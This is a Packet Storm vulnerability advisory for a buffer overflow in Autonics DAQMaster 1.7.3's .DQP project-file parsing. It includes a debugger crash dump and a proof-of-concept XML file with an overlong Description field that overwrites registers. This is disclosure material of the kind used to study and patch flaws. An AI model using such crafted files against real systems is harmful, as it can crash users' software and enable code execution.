Autonics DAQMaster 1.7.3 DQP Parsing Buffer Overflow

2016-02-02T00:00:00
ID PACKETSTORM:135547
Type packetstorm
Reporter LiquidWorm
Modified 2016-02-02T00:00:00

Description

                                        
                                            `  
Autonics DAQMaster 1.7.3 DQP Parsing Buffer Overflow Code Execution  
  
  
Vendor: Autonics Corporation  
Product web page: https://www.autonics.com  
Affected version: 1.7.3 (build 2454)  
1.7.0 (build 2333)  
1.5.0 (build 2117)  
  
Summary: DAQMaster is comprehensive device management program  
that can be used with Autonics thermometers, panel meters,  
pulse meters, and counters, etc and with Konics recorders,  
indicators. DAQMaster provides GUI control for easy and convenient  
management of parameters and multiple device data monitoring.  
  
Desc: The vulnerability is caused due to a boundary error in the  
processing of a project file, which can be exploited to cause a  
buffer overflow when a user opens e.g. a specially crafted .DQP  
project file with a large array of bytes inserted in the 'Description'  
element. Successful exploitation could allow execution of arbitrary  
code on the affected machine.  
  
---------------------------------------------------------------------  
  
(ee8.1ee8): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=41414141 ebx=57010748 ecx=02bb9a00 edx=00808080 esi=00000001 edi=00000001  
eip=00405d45 esp=0018f59c ebp=0018f91c iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
DAQMaster!TClsValueListShowData$qqrp16GraphicsTBitmapip10TPropValuei+0x41d:  
00405d45 8b10 mov edx,dword ptr [eax] ds:002b:41414141=????????  
  
---------------------------------------------------------------------  
  
Tested on: Microsoft Windows 7 Professional SP1 (EN)  
Microsoft Windows 7 Ultimate SP1 (EN)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2016-5302  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5302.php  
  
  
20.11.2015  
  
--  
  
  
thricer.dqp project PoC:  
------------------------  
  
<DAQMaster xmlns="http://www.w3.org/2001/XMLSchema-instance">  
<Project>  
<General>  
<Name>Noname</Name>  
<Company></Company>  
<Worker></Worker>  
<Description>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...[n]</Description>  
<DataFolder>C:\Users\zslab\Documents</DataFolder>  
<DeskLayout>0</DeskLayout>  
<NameRule></NameRule>  
<FileType>0</FileType>  
<RunMode>0</RunMode>  
<Schedule Active="0"/>  
<Layout>0</Layout>  
</General>  
<System/>  
<UserTag/>  
<DDEServer/>  
<WorkSpace WorkSpaceNum="1">  
<WorkSpace>DAQ WorkSpace</WorkSpace>  
</WorkSpace>  
<UIList/>  
<Layout/>  
</Project>  
</DAQMaster>  
`